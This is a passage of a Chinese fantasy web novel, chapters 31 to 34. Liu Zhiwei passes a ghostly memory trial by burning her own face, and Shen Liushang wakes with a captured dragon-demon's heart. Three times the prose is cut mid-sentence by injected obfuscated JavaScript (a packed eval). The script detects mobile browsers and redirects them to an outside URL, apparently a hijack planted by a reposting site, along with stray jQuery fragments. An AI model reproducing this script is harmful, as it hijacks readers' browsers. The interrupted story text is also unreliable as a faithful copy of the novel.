京城的妖祸算是暂时平息了。 那条蛟妖被关进缉妖司大狱,重兵把守,法咒贯身,永无再见天日之可能。 一切好像都恢复了平静,京城人心渐稳,天下看着还是那个河清海晏的样子。只是没人知道,自此以后京城便永无宁日。 31. 恶毒女配向前冲 进入回溯门后,柳知微的周围弥漫着一圈圈青色雾霭,就如同她被花妖袭击那天诡异而起的青烟。 恍惚间,一个女孩走来。 她轻轻地从斗笠下探出个脑袋来,脸蛋圆滚滚,两只灵动的眼睛骨碌碌一转,胖小手自眼角向下淘气地一抹,笑眼盈盈,眉眼弯弯,整一个活的年娃娃似的,惹人喜爱。 这就是引路人了,这个角色一定于柳清圆意义非凡,柳知微追随她的身影而去。 小女孩活泼地从她身边跳过,柳知微伸手想要抓住那道影子,周边场景同时转变。 话音未落,她重重摔在一片湿冷的草地上。柳知微闷哼一声,她勉强撑起身子,看了看四周。 此地很是僻静古朴,院子不大,角落栽着一棵歪脖子老松,一条青石小径通向门口,纸糊的窗户还映照出灯火。夜色已深,山间雾气弥漫,远处还隐隐传来悠远的钟声。 这里就是越家溪,只不过这里要显得更破旧更阴森一些,几乎没什么人气儿。 柳知微揉了揉摔疼的屁股墩儿,发觉自己居然是实体。这回溯相当于是一个平行世界,而为了不引起蝴蝶效应,柳知微估计自己是魂穿到了柳清圆记忆中的某个角色身上,只能顺应人设走。 她抬头望了望四周,就只有前面有一个小院子,便抬腿向那边走去。主动触发剧情的npc才是好npc嘛! 柳知微只迈出两步,身后便猛地一拽,像有一只手从另一个方向扯住了她的魂魄。 她被迫转回去。 原本空荡荡的地方,现在站着一个农妇,手里挎着竹篮。那篮子里装的是纸扎的花。 农妇的整张脸都布满了被烧灼的痕迹,眼球早已被烧化了,只有眼窝两个深深塌下去的坑。她笑起来就露出尖利的牙齿,还在往下淌着口水。这妇人身上穿着厚棉袄,像是冬腊月的装束。 “阿舒。”她开口了,嘶哑的声音从焦裂的喉咙里挤出来,带着笑意,“你这是要去哪儿?” 她拉住柳知微的手,完完全全都是骇人的白骨。 “我们说好的,兰儿出嫁,我们去给她唱歌。你难道忘了?” 她笑了一下,焦黑的面皮上,裂开几道更深的纹路,仿佛正温柔地注视着柳知微。那笑容里却带着一种极其认真的欢喜,好像她真的要去参加一场婚礼,柳知微就是那个叫“阿舒”的人。 柳知微皱了皱眉,那妇人的脸实在太过诡异,她不动声色地将那妇人的手拂开,也假装笑起来:“兰儿成亲是大好事,我怎么会反悔呢?” 看来她现在是这个阿舒的角色,估计也是个农妇,这是直接在越家溪落户了啊。 那妇人满意地笑起来,又亲昵地挽住她的胳膊,力道却大得惊人,紧紧钳着柳知微,像是生怕她跑了,指甲甚至嵌进肉里。柳知微被攥得生疼,但为了遵循记忆回溯的规则,只能任由那妇人推着她往前走。 山间的夜雾越来越浓,走在那农妇身侧,柳知微只觉得胳膊上那只焦枯的手像一把铁钳,越箍越紧。脚下的青石板路湿漉漉的,泛着幽幽冷光,两旁的树影在雾气里扭成奇形怪状的姿态,像无数只枯瘦的手臂在风中轻轻摇晃。 不远处传来若有若无的歌声,曲调婉转缠绵,带着川东山歌特有的火辣与凄艳,在这夜雾里飘荡开来,像一根根看不见的丝线,把人的魂儿都勾了过去。 “阿舒,你听,她们已经唱起来了。”那农妇空洞的眼窝朝着歌声的方向转了转,烧焦的脸上竟泛起几分陶醉的神色,“兰儿这妮子,打小就命苦,如今总算寻了个好人家,咱们可要好好替她热闹热闹。” 柳知微应了一声,心里却泛起阵阵寒意。她低头看了一眼自己身上,灰色的粗布衣衫,袖口还打着补丁,倒真像个山野村妇的模样。只是不知这“阿舒”的脸,是否也如这农妇一般,被烧得面目全非。 院门是木头的,两扇对开,门楣上贴着褪了色的红双喜,在夜风里哗啦啦地响。农妇推开门的那一刻,屋里的歌声骤然响亮起来,仿佛为了迎接柳知微的到来。 堂屋里燃着好几个火盆,炭火烧得正旺,橘红色的光把整个屋子照得通明,也把屋子里每一个人的脸照得清清楚楚。 每张脸都是焦黑的、皲裂的,皮肉翻卷着露出底下暗红的组织,有些地方甚至能看到白森森的骨头。但她们都在笑,不完整的嘴角咧到耳根,露出整齐的牙齿,在那样的面孔上,笑容显得格外可怖。 柳知微的呼吸微微一窒,但很快便调整过来,脸上堆起一个自然的笑,跟着那农妇踏进了门槛。 堂屋正中摆着一张八仙桌,桌上铺着大红桌布,摆满了瓜子花生红枣桂圆,还有几碟子米花糖和芝麻杆。几个妇人围坐在桌旁,手里拿着针线活计,一边纳鞋底一边唱,那曲调时高时低,柳知微仔细听了两句,唱的正是川东坐歌堂的《姊妹歌》。 “一针针来一线线,我为姐姐绣明天。绣对鸳鸯水中戏,绣朵莲花并蒂鲜……” 那声音绵绵的,糯糯的,若不是眼前这些人的脸实在太过骇人,倒真有几分农家办喜事的喜庆模样。 柳知微被那农妇拉着在桌边坐下,刚坐定,目光便不由自主地被角落里的一幕吸引了过去。 屋角放着一张竹制的凉椅,凉椅上铺着旧棉被,一个年轻的女人侧身坐在那里,怀里搂着两个女娃娃。那女人面容倒是完好,没有被火烧过的痕迹,只是依旧模糊不清,她正低头轻声哄着怀里的孩子。 左边那个女娃娃扎着两个羊角辫,只顾抓了把桌上的花生吃,画得更是潦草,连脸都没有。右边那个则安静得多,小脸埋在女人怀里,只露出半张侧脸,可凭着记忆里主人的气息,柳知微一下就认出,这便是柳清圆了。 那女人弯下腰,在两个女娃娃额头上各亲了一口,柔声道:“瑶瑶乖,圆圆也乖,等兰儿姐姐唱完了歌,咱们就回去睡觉觉。” 那换作“圆圆”的女孩子看起来是有些怕生,被哄了好久,才敢抬起头来觑了觑女人的脸,闷闷地开口:“阿毓阿毓,我现在就要回家去。” 柳知微的脸上还端着没露出破绽,心里早就炸开了,根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576320|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢相信亲眼所见。之前引她过来得那个胖乎乎的女娃娃,那个圆滚滚白嫩嫩的竟然是柳清圆? 她忍不住多看了两眼,心里啧啧称奇。小时候的柳清圆简直是个人见人爱的小团子,那圆圆的脸蛋,那弯弯的眉眼,那糯叽叽的小模样,谁看了不想捏一把?怎么长大了就变成了那个冷淡疏离、装神弄鬼的阴湿女鬼人设了? 真是女大十八变,越变越……越变越吓人。 圆圆忽然抬起头来,朝着柳知微的方向看了一眼。柳知微连忙收回目光,抓了一把瓜子,装模作样地嗑了起来。 歌声渐渐歇了,堂屋里安静了一瞬。坐在上首的一个老妇人清了清嗓子,扬声喊道:“请新娘子出来罢!” 里屋的门帘一掀,一个穿着大红嫁衣的女子低着头走了出来。她头上盖着红盖头,看不清面容,身段倒是窈窕,走起路来步步生莲,裙摆在地上拖出一道红浪。 众人齐声欢呼起来,将新娘子引到八仙桌旁坐下。有人递上针线,有人奉上茶碗,女眷们轮番唱歌,或祝贺或叮嘱或打趣,新娘子也要一一作答,一唱一和,热闹非凡。 旁边几个女子起哄似的推了柳知微一把:“阿舒你先来,你嗓子最好!” 柳知微有些心虚,她哪里会唱什么坐歌堂的山歌?可周围所有人的目光都齐刷刷地落在她身上,那些布满灼痕的脸,空洞的眼窝全都朝着她,嘴角挂着诡异的笑。 然而她才起了个头,旁边的妇人们便齐声帮她接了下去,那调子自然而然地从她喉咙里淌出来,仿佛这具身体有自己的记忆,根本不需要她刻意去唱。 “嫁到婆家要勤谨,莫学懒妇睡到明。早起烧火做早饭,晚睡点灯补衣襟。” 柳知微唱完这一段,心里暗暗松了口气,那调子婉转清亮,在这诡异的堂屋里回荡开来,竟有几分动听。 新娘子低声答了一句,声音细细的。众人又笑了一阵,继续往下唱。 柳知微跟着大家一唱一和,渐渐摸到了门道,倒也唱得有模有样。只是她的目光总是忍不住往角落里飘,圆圆已经从女人怀里坐了起来,正睁着那双圆溜溜的大眼睛,一眨不眨地望着她。 那目光澄澈又天真,像一个普通的八岁小女孩看着一个熟悉的邻家姐姐。可柳知微总觉得那双眼睛里藏暗流涌动,似乎看出来了她的意图。 柳知微心里有些发毛,但转念一想,自己现在顶着“阿舒”的身份,言行举止都遵循着这具身体的记忆,应该不会露出破绽才对。于是她深吸一口气,把那些不安压了下去,继续跟着众人唱和。 堂中的火盆噼里啪啦地烧着,木炭炸开一串串火星,映得那些焦黑的脸忽明忽暗。 歌堂唱到了尾声,按照规矩,最后再由新娘子唱一首答谢歌,便算礼成。 兰儿站起身,低头施了一礼,嗓音柔柔地唱起来:“多谢姊妹多辛苦,一针一线费心肠。今日出嫁离娘去,来日归宁再谢娘……” 最后一句尚未唱完,一阵夜风忽然从门外灌进来,呼地一下掀起了兰儿头上的红盖头。 32. 那她就奉陪到底 红绸在空中翻了个卷,缓缓飘落在地。堂屋里骤然安静下来,柳知微看清了那张脸。 那也是一张被火烧过的脸,皮肤焦黑卷曲,五官扭曲变形,和屋子里其他所有人一样,可怖而狰狞。但柳知微的目光落在那张脸上的一瞬间,一股巨大的冲击力猛地撞进她的脑海,那不是一张陌生的鬼脸。 尽管面部轮廓都已经扭曲了,她清清楚楚地感知到了那熟悉的妖气,此刻她眼中看到的,是在花妖幻境中那张镜子破碎后出现的那道影子。 柳叶眉,兰花钿,这模样……是那只花妖方青箬,怎么会忽然成了越家溪的兰儿? 火盆里的炭火炸了一下,溅出几点火星,落在柳知微的手背上,烫出几个小红点。她猛地回过神来,脸上重新挂上笑容。 方青箬的红盖头已经被人重新捡起来盖好了,众人便又笑了起来,继续把最后的收尾唱完。 终于,坐歌堂散了。女眷们三三两两地站起来,有的去帮忙收拾东西,有的去厨房端夜宵,堂屋里渐渐松散下来。 柳知微正要起身,忽然感觉衣角被人拽了一下。 她低头一看,柳清圆不知什么时候跑了过来,正仰着那张软嘟嘟的小脸望着她,两只大眼睛亮晶晶的,笑得眉眼弯弯,别提多可爱了。 “阿舒姐姐。”柳清圆奶声奶气地喊了一声,小手拽着她的衣角晃了晃,“圆圆要吃喜糖,阿舒姐姐给圆圆一颗喜糖好不好?” 柳知微低头看着柳清圆那双清澈透亮的眼睛,猜测着柳清圆还能出什么招。但她还是弯下腰,笑嘻嘻地从桌上的喜糖堆里捡了一颗糖,剥开糖纸,递到柳清圆嘴边:“给你,圆圆乖。” 柳清圆张开嘴,把糖含了进去,腮帮子鼓鼓的,她嚼了两下,忽然咯咯地笑起来。然后她仰起脸,看着柳知微,用那奶声奶气的嗓音,天真无邪地问了一句。 “阿舒姐姐,你脸上怎么没有被火灼伤的痕迹呢?” 四周一下子安静了。所有的声音都在一瞬间消失,只剩下火苗舔舐木炭的呼呼声。 柳知微暗自冷笑一声,她不屑地看了周围一圈,果真这一句话说出来后,那些骇人的面孔便齐刷刷地转向她,空洞的眼窝流出鲜血,嘴角全部撕开,张大着血盆似的大口就要冲着中间的柳知微扑过来。 刚才带柳知微过来的那个农妇抢先开了口,恍然道:"哎呀,我倒忘了。" 她站起身,朝柳知微一步步走来,烧化的眼窝直直对准了她,脸上的笑容一寸寸放大。紧接着,她整个身体陡然暴涨了无数倍,化作一头奇形怪状的妖魔,居高临下地俯瞰着柳知微。 它的声音已经完全变调,呕哑嘲哳十分难听:“进了这门,就得有被火灼伤的痕迹才是。阿舒,你怎么没有呢?” 旁边几个妇人跟着点头,动作整齐划一,跟木偶一般僵硬:“是啊是啊,得有灼痕才是,没有灼痕怎么能坐在这里呢?” 她们也都站了起来,慢慢围拢过来。那些焦黑的手朝柳知微伸过来,指甲又长又尖,在火光下泛着暗红色的光。 “阿舒,你不该忘了的。你不该忘了的。那场天火,全是因你而起的啊。” 柳知微望着那些逼近的面孔,望着角落里依旧盈盈笑着的柳清圆,脑子里一片清明。 好吧,她那点小侥幸算是彻底没了。柳清圆从一开始就没信过她,从她踏进越家溪那一刻,柳清圆就已经看穿了她根本不是阿舒。 这女人的精神力量,简直让人后背发凉。 当局者迷,柳清圆本应在迷局里打转,却早已站在局外,冷冷地看着一切发生。柳知微现在连系统权限拿到了手居然还被她给识破了,不仅如此,她还能在自己的记忆里布下禁制。 这场坐歌堂,这场诡异的婚嫁,这些带着灼痕的鬼脸,全都是为了她而设下的圈套。 柳清圆站在她近处,还保持着那副纯粹的笑容,真诚地问她:“阿舒姐姐,告诉圆圆啊?” 那些焦黑的手臂像枯枝一样从四面八方伸过来,指尖焦裂的口子里渗出暗红的光。农妇已经近在咫尺,枯瘦的手指直直抓向她的头发,逼着她往火盆那边靠过去。 柳知微猛地起身,灵力轰然炸开,系统激活的保护罩将一切隔绝在外。妖魔扑上来,撞在透明的壁上,被弹开,又扑上来,一遍又一遍。 这里是柳清圆的记忆场,不允许动用任何杀伤性的攻击。她就只能躲,等着保护罩一点点被消耗干净,然后被困死在这层脆弱的壳子里。 为今之计,最稳妥的就是先退出记忆回溯,再慢慢跟女主周旋。 可柳知微这人有个毛病,她想做的事,就必须要做成。奖金她要拿,工作她要保,至于那个女主爱谁谁! 要通关不就很简单吗?守这儿的规矩,顺应这里的天意,她奉陪到底。 柳知微看着那些东西在守护罩之外张牙舞爪,淡定转过身,大步走到堂屋正中的火盆前,火盆里的炭火烧得正旺,橘红色的火焰在黑暗中跳跃,灼热的气浪扑面而来。 她弯下腰,毫不犹豫地将手伸进了火盆。 炭火滚烫,她的手指刚一触到那烧得通红的木炭,剧烈的灼痛便像电流一样传遍全身。她的手指在发抖,但她咬着牙,硬是从火盆里抓起了一把炭火。 那炭火在她掌心里滋滋作响,皮肉烧焦的气味弥漫开来,疼得她眼前一阵阵发黑。她几乎能听到自己皮肤炭化的声音,细细密密的,咬一口下去绝对嘎嘣脆。 不远处的柳清圆幻影冷冷地看着这一切,施法让那些妖魔加强攻击,保护罩在被迅速消耗着。 柳知微咬着牙,忍着那钻心的疼,双手捧着那把炭火,狠狠地往自己脸上摁去。 那一瞬间,柳知微听到了自己的皮肉在火焰中滋滋作响的声音,闻到了自己皮肤烧焦的焦臭味。剧烈的疼痛像一把烧红的刀子,从她的脸颊一直剜进骨髓里。她的眼泪几乎是生理性地涌了出来,但她拼命咬紧牙关,没有让自己发出一声惨叫。 火盆里的光映在她的新伤口上,刚刚被炭火灼烧过的皮肤翻卷着,和这屋子里所有人的脸一模一样。 柳知微用尽最后一丝力气,抬起头,对着角落里那个依旧盈盈笑着的小女孩,扯开一个笑容。那笑容在烧焦的脸上扭曲又狰狞,但她笑得张扬又得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576321|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,像打了一场胜仗。 “多谢圆圆了。”她的声音因为疼痛而微微发颤,但语调却是轻快的,甚至带着几分调皮,“阿舒姐姐差点忘了,还要多亏圆圆提醒。” 柳清圆歪了歪脑袋,看着柳知微那张刚刚被她自己亲手烫得面目全非的脸,眼眸中倒映着那张脸上艰难扯出的笑容,可可爱爱的小女娃沉默了片刻,然后又笑了。 那笑容依旧是天真可爱的,一样甜蜜,一样无辜。她将那颗糖吐了出来,然后用软萌的声音回应了柳知微。 “不用客气。” 她说完便转过身,蹦蹦跳跳地跑回那个年轻女人怀里去了,仿佛刚才的一切不过是小孩子一句无心的童言童语,不值得放在心上。 堂屋里的气氛骤然松弛下来,那些焦黑的面孔重新笑了起来,它们拍着巴掌连声赞叹道:“我们就说阿舒怎么会忘了嘛,原来是还没到时辰,现在好了,现在好了。” 其他人也跟着笑起来,那笑声阴恻恻地在堂屋里回荡,像夜风穿过枯树林发出的呜咽。但她们笑得真心实意,彼此拍着肩膀,重新坐回桌边,继续剥花生嗑瓜子。 柳知微也跟着笑。 她的脸火辣辣地疼,掌心里的皮肉还在往外渗着血,十指连心地痛。但她笑得比谁都大声,比谁都开心。 然后在心底把柳清圆外加天道的祖宗十八代都问候了一遍。 好你个小圆团子,看着白白胖胖可可爱爱的,骨子里还是那个阴死阳活的女鬼人设。八岁就玩这一手,长大以后能变成正常人那才有鬼了!怪不得长大了还是那副德行,原来是打小就腹黑,根上就是歪的,粪土之墙不可杇也!她一定要夺舍女主,将天道也狠狠踩在脚下! 火盆里的炭火渐渐暗了下去,堂屋里的笑声也渐渐低了下去。那些带着灼痕的面孔开始模糊,轮廓一点点消散,整个世界都开始晃动起来。 柳知微闭上眼睛,任由那股力量将她拽入更深的黑暗。 再睁开眼时,她发现自己站在一个完全不同的地方。 四周是苍翠的竹林,阳光透过竹叶的缝隙洒下来,在地面上投下斑驳的光影。远处有溪水潺潺,近处有鸟雀啁啾,空气里弥漫着竹叶特有的清香。 这才是真正的记忆回溯。 刚才那些鬼脸和灼烧的剧痛全都是禁制的考验,这是进入柳清圆识海深处的第一道门。 柳知微低头看了看自己的手,手掌完好如初,光洁如新。她又摸了摸自己的脸,皮肤光滑细腻,什么痕迹都没有。 柳知微长长地呼出一口气,心里却对柳清圆又多了几分忌惮。 这小丫头片子,给自己识海设下的禁制就这么狠,要是真成概念神了那还得了? 她定了定神,顺着竹林间的小路往前走去。她知道,真正的记忆回溯现在才刚刚开始,真正的柳清圆的过去,就在这条路的尽头等着她。 而那个叫兰儿的新娘子,那个在禁制中有着方青箬面容的鬼新娘,她的秘密也一定埋藏在这段记忆的最深处。 竹影婆娑,微风拂面。柳知微抬步向前,身影渐渐没入了那片苍翠的深绿之中。 33. 多情却被无情恼 宁都侯府,沈流商醒了。他睁开眼的时候,屋里的哭声忽然一静。 然后猛地炸开了。 “阿弟!”沈如雁第一个扑上来,眼圈通红,还带着哭腔却也难掩欢欣雀跃,“你吓死我们了!你知不知道你昏了多少天!” 楼夫人和沈侯爷紧跟着挤过来,三个人把他团团围住,抱得死紧,活像怕他跑了似的。 “我的儿啊!”楼夫人的眼泪直往下掉,“醒了就好,醒了就好!以后娘什么都不逼你了,咱不考功名了,也不叫你爹让你习武了,咱就安安稳稳当个闲散侯爷,娶房媳妇回家,咱好好活着就成!” 沈侯爷没说话,只是用力拍了拍他的肩,眼眶发红。三个人抱在一起哭成一团,给他围成个粽子似的,吵得沈流商脑仁生疼。 “我没事……”他想挣开,反而被搂得更紧,差点又给勒晕过去。 沈流商现在脑子里乱得很。 这些天发生的事,桩桩件件涌上脑海来了。那个叫做谢济泫的妖物,和他在镜花水月中度过的几天,明月楼那番莫名其妙的表白,最后那妖怪又故意现出真身,被捉妖师打散,最后那道金光送他回府,魂魄归体。这些东西在短短七天之内就如此突兀地发生,沈流商根本捋不清楚。 谢济泫离开时的那个眼神,加上被生生掏出心脏的痛,沈流商也想当成一场梦。可他就是怎么都甩不掉,越想越烦,便捂住额头喊疼,其余人才愿意放开他。 沈流商从三片粽子叶里挣出来,整个人靠在床柱上大口大口地喘气。他耳边吵吵嚷嚷,心里却只反反复复地转着一个念头。 他要找到谢济泫。 楼夫人还在一旁抹泪,沈侯爷忙着安抚着楼夫人,沈如雁攥着他的手不肯松开,一家子都把沈流商当成宝了。 沈流商反倒先笑了,眼里带着几分无奈又温软的光,嘴角微微弯起,像是忍着一肚子不正经的话,又硬生生咽了回去。搁在平时,他哪能有这样的待遇? “阿爹,阿娘,阿姐……我真的没事,好好的回来了。别这么担心了,不然牛儿该心疼了。” “牛儿,你饿不饿?娘让人熬了粥,一直温着呢。”楼夫人的声音还有些虚浮。 沈流商摇了摇头,正要开口说什么,目光不经意间越过母亲的肩头,忽然顿住了。 他正看见床尾不远处站着一个人。那人一袭青衫,面容清俊,眉目间带着一种说不出的疏离与温和交织的气质。沈流商看见他的第一眼,他便如醍醐灌顶一般,原是他还是魂魄之体时在明月楼里见过这人。 那晚灯火辉煌,觥筹交错间,此人就坐在不远处,端着酒杯,目光沉静地扫过场中。再后来……再后来就是这人领着缉妖司的人马,布下法阵,金色的符文像天罗地网一般铺展开来,将谢济泫困在当中。 “这位是……”他声音有些发哑,目光定在那人身上没有移开。 沈侯爷顺着他的视线看过去,连忙介绍道:“牛儿,这位是缉妖司的纪春洲纪大人。你这次能醒过来,全赖纪大人出手相助。”沈侯爷的语气里满是感激,丝毫没有察觉到沈流商眼底那一闪而过的警惕。 纪春洲微微颔首,走上前来,在床边站定。他的目光落在沈流商脸上,带着关切:“小侯爷感觉如何?可还有什么不适?” 沈流商盯着他看了一会儿,脑海中又是闪出那晃眼的法阵又是繁复的符文,还有谢济泫被围困时却一直望向他的那双血瞳。他垂下眼睫,把这情绪压了下去,语气平平地说:“头还有些晕,别的……说不上来。” 纪春洲点了点头,像是早有预料。他侧身从袖中取出一枚小小的铜铃,在沈流商耳畔轻轻摇了摇。那铃声清越,入耳却并不刺耳,反而像是一道细细的凉意顺着耳道钻入,在五脏六腑间转了一圈,最后安安稳稳地落在心口的位置。 沈流商下意识地捂住了心口,那里原本应该空荡荡的地方,此刻正有力地跳动着。然而因为知道这颗心不是他的,一种违和感郁结在他心底,那感觉随着沉稳的心跳在一点一点加重。 这颗心里残留的感情汹涌地灌进沈流商的胸口……委屈,自责,还有一缕难以言明的温柔。他被这陌生的情绪吓到了,双手交叠放在心口处,眼神里都是不可置信。他竟然在心疼一只妖,真是荒谬可笑。 “小侯爷大难不死,必有后福。”纪春洲收起铜铃,“此次京中妖祸,背后并非只有那花妖作祟。那花妖不过是个幌子,真正在暗中翻云覆雨的,是一条蛟妖。” 沈流商的手指微微收紧,攥住了被褥,胸膛中的那颗心脏正在剧烈跳动着。 纪春洲继续说道:“那蛟妖道行深厚,心性狠辣,在京中潜伏多年,暗中搅弄风云。小侯爷的心脏,便是被那蛟妖生生掏走的。”他说这话时语气寻常,暗暗观察着沈流商的反应,眼里像是试探,又像是审视。 “不过小侯爷放心,”纪春洲的嘴角微微上扬,露出一丝笑意,“那蛟妖已被缉妖司拿下,下狱论罪。它的心……已被剖出来,替换在了小侯爷身上。正因如此,小侯爷才能醒转过来。” 这话说得云淡风轻,这剖心换心好像不过就是缝补一件衣裳似的小事情。沈侯爷和楼夫人在一旁听得又是后怕又是感激,连声道谢,沈如雁攥着沈流商的手说:“你这条命可是捡回来的,以后可不许再冒冒失失的了!” 沈流商没有说话,他垂下眼睛,看着自己的胸口。那里跳动着的,是一颗蛟心,是谢济泫的心。 他的喉咙像是被什么东西堵住了,半晌才哑声说了一句:“多谢纪大人。” 纪春洲摆了摆手,目光却始终没有离开沈流商的脸。他忽然微微倾身,声音压得低了些,带着一种说不清道不明的意味:“小侯爷当真没有别的不适了?心口不觉得异样?不觉得……这颗心有时候会想起一些不该想起的事情?” “那蛟妖生性凶顽,我等用尽酷刑也未能撬开其口,诸多线索就此中断。若小侯爷这边能查到些眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576322|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目,我等便可顺藤摸瓜,尽快将余孽一网打尽。” 沈流商一抬头,便撞进纪春洲那双幽深的眼里。他心下了然,这人这是在试探自己。按说被妖物缠上,搁谁身上都是天大的晦气。 可怪就怪在这儿。任凭他之前如何对谢济泫冷嘲热讽,如何将那妖嫌弃得一文不值,此刻对上纪春洲怀疑的目光,他却半点也不想露了谢济泫的底,沈流商合理怀疑自己是中了谢济泫的妖术。 他暗自埋怨着,果然那只妖没这么好心,送来的这颗妖心竟会干涉他的想法。谢济泫果真早就把手段使在了他身上,害他还生出几分歉疚与心虚来。 沈流商迎着那目光,面色如常地摇了摇头:“没有什么不适,就是觉得……睡了好长一觉,做了好多梦,醒来记不太清了。” 纪春洲微微挑眉,似乎对这个回答半信半疑,却也没有追问,只是笑着说:“梦而已,记不清才是好的。” 他说完便要起身告辞,沈侯爷连忙挽留,他却只是摆了摆手,说缉妖司还有公务在身,不便久留。 临出门前,他忽然回过头来,看了沈流商一眼,神秘莫测地说了一句:“若小侯爷有鬼神之问,自可来摘星阁求卦。” 门帘落下,纪春洲的身影消失在门外。沈流商盯着那晃动的门帘看了许久,直到沈如雁伸手在他眼前晃了晃,他才回过神来。 “想什么呢,这么出神?”沈如雁歪着头看他。 沈流商扯了扯嘴角,挤出一个笑来,声音有些发虚:“没什么,就是……太累了。” 楼夫人连忙扶他躺下,又细细地掖好被角,絮絮叨叨地说着这些天家里是怎么过的。沈侯爷则坐在床边,粗糙的大手握着沈流商的手,说明日一定要去庙里烧香还愿。 沈流商躺在那里,盯着头顶的帐子,耳边是家人七嘴八舌的声音。鼻子忽然一酸。 什么前世来生,他通通不认。这一世,他姓沈,是沈家的孩子。那条蛟妖的死活,与他毫无关系,那七天里发生的任何事,他也不欠任何人一个解释。 沈流商把这一切从脑子里甩出去,心脏却忽的一阵绞痛。他捂着胸口,脸色白得像纸,愣是咬紧了牙,忍着没有喊疼。他不能让家里人再跟着难受了。 他闭了闭眼睛,等心脏那阵痛楚缓解了后再睁开眼,沈流商脸上已经挂上了往日那副懒洋洋的笑:“阿爹,阿娘,阿姐,你们别哭了,我这不是好好的吗?就跟睡了一觉似的,眼睛一闭一睁,就看见你们三张哭脸,吓都吓醒了。” 沈如雁破涕为笑,锤了他一下:“你就嘴硬吧你!”那力道很轻,沈流商却感到喉间涌上一股腥甜,他艰难地将那口血咽了下去。 楼夫人和沈侯爷也忍不住笑了,一边笑一边抹眼泪,吩咐丫鬟去端粥来。 一家子人围坐在一起,热热闹闹地说着话。粥端上来了,沈流商一口一口地喝着,米香在舌尖化开,暖意顺着喉咙滑下去,安安稳稳地落在那颗不属于他的心里。 34. 摘星阁金屋藏娇 晚间他的脸色看着好多了,人却还是乏得很。沈家上下总算散了,留他一个人安安静静躺着。 他其实什么也不想吃,只要了碗清米汤。门一关,刚端起来凑到唇边,心口忽然狠狠一绞,他没能压住,一口血喷进去,整碗汤都染红了。 沈流商却没犹豫,低头把那碗血汤一口口喝干净了。喝完随手一砸,碗碎了一地。 他看着满地的碎片,忽然轻轻笑了一声,又抬手按了按额角。这不就情绪用事了嘛,还得自己收拾。 沈流商弯腰去捡碎瓷片,手指被划破,渗出一点血珠,转瞬便愈合了。他盯着那道迅速消失的伤口,停顿片刻,忽然将最大的那片碎瓷狠狠刺入自己心口。 金色的血流出来,又迅速止住,伤口像是从未存在过。 沈流商扯了扯嘴角:“……阿济,又让你得手了。” 那颗心脏里种着同心契,这本该要双方心甘情愿才能结下的。他曾经亲手斩断了这联结,谢济泫却不要命地以心强锁,从此生生世世,心意相通,天命相连。 阿济太不听话了。 他不能让自己的计划,毁在这颗不听话的心上。 …… 而那头纪春洲出了沈府,夜色已经浓如墨染。他沿着长街不紧不慢地走了半盏茶的工夫,最终才行至宫中,前往摘星阁。 他推门进去的时候,浓重的血腥气扑面而来。 阁内没有点灯,只有窗棂间漏进来的几缕月光,冷冷清清地铺在地上。月光所及之处,纪春洲看见了那团东西。 纪双扉已经看不出人形了,他的四肢以一种不可思议的角度扭曲着,像是被人活生生拧断了每一根骨头。他蜷缩在地上,像一堆被随意丢弃的烂肉,绝对是死透了。 纪春洲站在门口,看了一会儿,面无表情地跨过门槛,走了进去。 阁楼深处,一个人影背光而立。那人身量极高,一袭玄色长袍几乎融进了黑暗里,只有领口处露出一抹冷白的肌肤。他负手站在那里,姿态闲适,好整以暇,仿佛脚下那团血肉模糊的东西不过是一件碍眼的杂物。 “来了?”那人开口了,声音低沉温润,他脚边便堆着那一滩烂泥,他温柔的话语却让人不寒而栗。 纪春洲单膝跪下,仿佛一潭死水:“属下纪春洲,见过国师大人。” 云霜简转过身来。月光下,他整个人像一截浸透了寒意的玉,手腕上戴着一串白玉菩提,如玉观音今若是。他的皮肤极白,长发和眉梢甚至是那低垂着的眼睫,全是霜雪的颜色,唯有那双眼睛是淡蓝色的,像冰层下封存了太久的光,凛凛若幽冥。 他走到纪春洲身前,低头看了一眼,然后抬起脚,不轻不重地踩在了他那双手上。纪春洲发出一声含糊的呻吟,却只是身体本能地抽搐了一下。 “此次镇压妖祸,缉妖司上下劳苦功高。”云霜简的声音慢悠悠的,像是在赏玩一件有趣的物件,“尤其是你,春洲。此次捉捕蛟妖,你布置得事无巨细,滴水不漏,本座甚为满意。” 他收回脚,从袖中取出一卷明黄色的绢帛,随手一抛,那绢帛稳稳当当地落在纪春洲面前展开来,那上面是崭新的敕令,墨迹未干。 “即日起,擢升纪春洲为缉妖司正统领,统管京畿一切缉妖事务。”云霜简那双淡蓝色的双眼望向他,堪称深情,“春洲,这是你应得的。” 